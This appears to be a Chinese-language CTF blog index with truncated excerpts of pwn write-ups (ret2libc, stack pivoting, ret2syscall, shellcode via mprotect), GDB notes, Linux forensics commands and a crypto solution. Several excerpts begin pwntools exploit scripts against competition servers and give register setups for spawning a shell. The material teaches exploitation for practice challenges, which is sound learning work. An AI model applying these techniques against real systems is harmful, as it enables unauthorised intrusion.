取证
Linux相关搭建该服务器的技术员IP地址是多少(查看登录信息)1last
查看操作系统发行版本号1cat /etc/*-release
扩展:查看Linux发行版名称、版本号和内核版本的方法
bash # lsb_release -aLSB( Linux 标准库(Linux Standard Base))能够打印发行版的具体信息, 包括发行版名称、版本号、代号等。
bash # cat /etc/*-releaserelease 文件通常被视为操作系统的标识。在 /etc 目录下放置了很多记录着发行版各种信息的文件, 每个发行版都各自有一套这样记录着相关信息的文件。
bash # uname -auname(unix name 的意思) 是一个打印系统信息的工具, 包括内核名称、版本号、系统详细信息以及所运行的操作系统等等。
bash # cat /proc/version记录 Linux 内核的版本、用于编译内核的 gcc 的版本、内核编译的时间, 以及内核编译者的用户名。
bash # dmesg | grep “lin ...
baseCTF浮现
BaseCTF2024新生赛pwn题浮现只记录了部分题目
她与你皆失简单的ret2libc但是有个小tips,获取二次输入如果直接跳转到main函数程序无法打通估计是某个寄存器的值不满足,可以选择跳转到start的地址从头开始运行程序保证寄存器的值正常
123456789101112131415161718192021222324252627282930from pwn import*context(arch='amd64',os = 'linux',log_level='debug')io=remote('gz.imxbt.cn',20992)#io=process('./pwn')elf=ELF('./pwn')libc=ELF('./libc.so.6')pop_rdi= 0x401176ret_addr = 0x0040101aread = elf.sym['read']puts_plt = elf.plt[' ...
函数合集
这篇文章用于记录函数的详细信息csetbufsetbuf 函数用于设置文件流的缓冲区。它允许你指定一个用户提供的缓冲区,用于文件的输入输出操作
1void setbuf(FILE *stream, char *buf);
setbuf只有全缓冲或无缓冲
参数
含义
stream
要设置缓冲区的文件流。
buf
用户提供的缓冲区。如果 buf 为 NULL,则禁用缓冲。
文件流
含义
stdio
标准输入流
stdout
标准输出流
stderr
标准错误流
缓冲模式
对应字符
无缓冲_IONBF
0 或 NULL
全缓冲_IOFBF
2
setvbuf1int setvbuf(FILE *stream, char *buf, int mode, size_t size);
参数:
1234567stream:要设置缓冲区的文件流。buf:用户提供的缓冲区。如果为 NULL,则使用系统分配的缓冲区。mode:缓冲类型,可以是以下值:_IOFBF:全缓冲。_IOLBF:行缓冲。_IONBF:无缓冲。size:缓冲区大小。
...
极客大挑战2024复现
ez shellcode分析checksec
发现开了nx,没开canary
分析main函数
发现第一次read获取输入填入bss段的shellcode中,但bss段可读可写不可执行,找找有没有提权函数,没开canary可以利用gets部分截取执行流。
发现提权函数gift(真的是一个好gift)
mprotect()函数将bss段的shellcode部分设置为可执行
mprotect()函数注释
mprotect(shellcode, 0x500uLL, 4) 是一个调用 mprotect() 函数的语句,其作用是改变从地址 shellcode 开始、长度为 0x500 字节(即1280字节)的内存区域的保护属性。这里的参数解释如下:
shellcode:这是指向需要修改权限的内存区域起始地址的指针。
0x500uLL:表示要修改权限的内存区域的长度,单位是字节。这里使用无符号长整型(unsigned long long),确保可以处理较大的值。
4
:新的保护标志,通常代表可读、可写和可执行权限。在Linux中,这个值通常是通过宏定义组合而成的:
PROT_REA ...
赛题合集
国内比赛XYCTF2025girlfirendcheck发现保护全开,有菜单但是似乎不是堆题
发现有system("echo /flag"); 但是没有/bin/sh
解析各个选择
1:
123456789101112131415161718192021__int64 lll1(){ char buf[56]; // [rsp+0h] [rbp-40h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); if ( dword_4094 ) { puts("You have already tried to talk to her, and she left..."); } else { dword_4094 = 1; puts("Girl is very beautiful!"); puts("what do you ...
ctfshow刷题记录
pwn75栈迁移check
1234567桌面$ checksec pwn[*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
题目提示”栈空间不够怎么办”,可以用栈迁移
栈迁移原理是利用两次leave ret先将ebp的值修改为输入shell的地址,再利用第二次leave ret将esp的值改为ebp的值,pop ebp将此时栈顶的值弹入ebp中,esp+4执行ret也就是pop eip将当前栈顶内容弹入执行流,使我们压在栈上非返回地址处的地址也可以执行达到控制执行流的效果
观察程序
漏洞函数:ctfshow
1234567891011int ctfshow(){ char s[36]; // [esp+0h] [ebp-28h] BYREF memset(s, 0, 0x20u) ...
polar2025春季赛 wp
前言这次polarD&N上pwn方向上的题都挺好的,进一步学习了canary绕过也发现了自己的很多问题(看得懂知识的不知道怎么实际来打等)
libc一题简单的ret2libc,也是当天唯一出的一题
12345678int jiu(){ char buf[58]; // [esp+Eh] [ebp-3Ah] BYREF puts("like"); read(0, buf, 0x50u); return 0;}//有栈溢出漏洞
程序动态链接,开了nx没开canary有puts函数直接puts泄露libc即可
exp:
12345678910111213141516171819202122232425262728from pwn import*from LibcSearcher import*io=remote('1.95.36.136',2148)#io=process('./pwn')elf=ELF('./pwn1')main=elf.sym['main ...
GDB调试
GDB调试这篇文章用于记录gdb调试的学习
常用指令123456789101112131415gdb pwn #开始调试b 函数名 #在指定函数处打断点b* 地址 #在指定位置处设置断点b* $rebase(0x111D) #有PIE时这样下断点得先run起来n #c语言级的断点定位(走得快一点)ni #汇编级别的断点定位(走得精细一点)s/si #s与si的区别和n/ni相同,不同点在于s/si会进入函数内部fibi #跳出函数r #运行c #让程序继续运行stack 30 #查看此时栈中的内容x/gx #计算偏移x/1gx $rsp+0x10 #查看rsp+0x10处的值start #开始程序vmmap #查看各段信息
给exp加gdb调试
12context.terminal = ["tmux","splitw","-h"]#左右分屏gdb.attach(io)#放到想要在exp中停止的位置,程序在运行时候会停止在该处进行调试
此处加了一个小插件tmux可以双栏显示调试,更方便查看 ...
ret2syscall
ret2syscall64位系统调用获取shell需要满足
12345rax = 59rdi = bin_sh_addrssrsi = 0rdx = 0syscall
32位系统调用获取shell需要满足
12345eax = 0xbebx = bin_sh_addrssecx = 0edx = 0int 0x80
其实在ret2shellcod里我们就已经使用过ret2syscall的类似解法,也就是系统调用但只用了orw,这篇文章来介绍静态链接的elf文件使用gadget构造系统调用execve(“/bin/sh”,NULL,NULL)拿shell
对于i386程序想要系统调用execve(“/bin/sh”,NULL,NULL)需要达成以下条件:
系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
最后int 0x80 系统调用
接下 ...
VN wp
MiscVN_Lang简单的签到题,原本以为真的要解密程序里的那个字符串结果发现记事本打开搜VN就有flag。
CryptoeasymathAI神力,首先多项式求根求解多项式方程找到质数候选值,质数筛选,模运算计算平方根和模数,Tonelli-Shanke算法计算模数下的平方根,注意考虑平方根正负两种情况,接着用中国剩余定理将模质数下的解合并为模N下的解,最后过滤解码即可。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115# 导入所需的库from sympy import symbols, solve, isprimefrom sympy.ntheory.modul ...

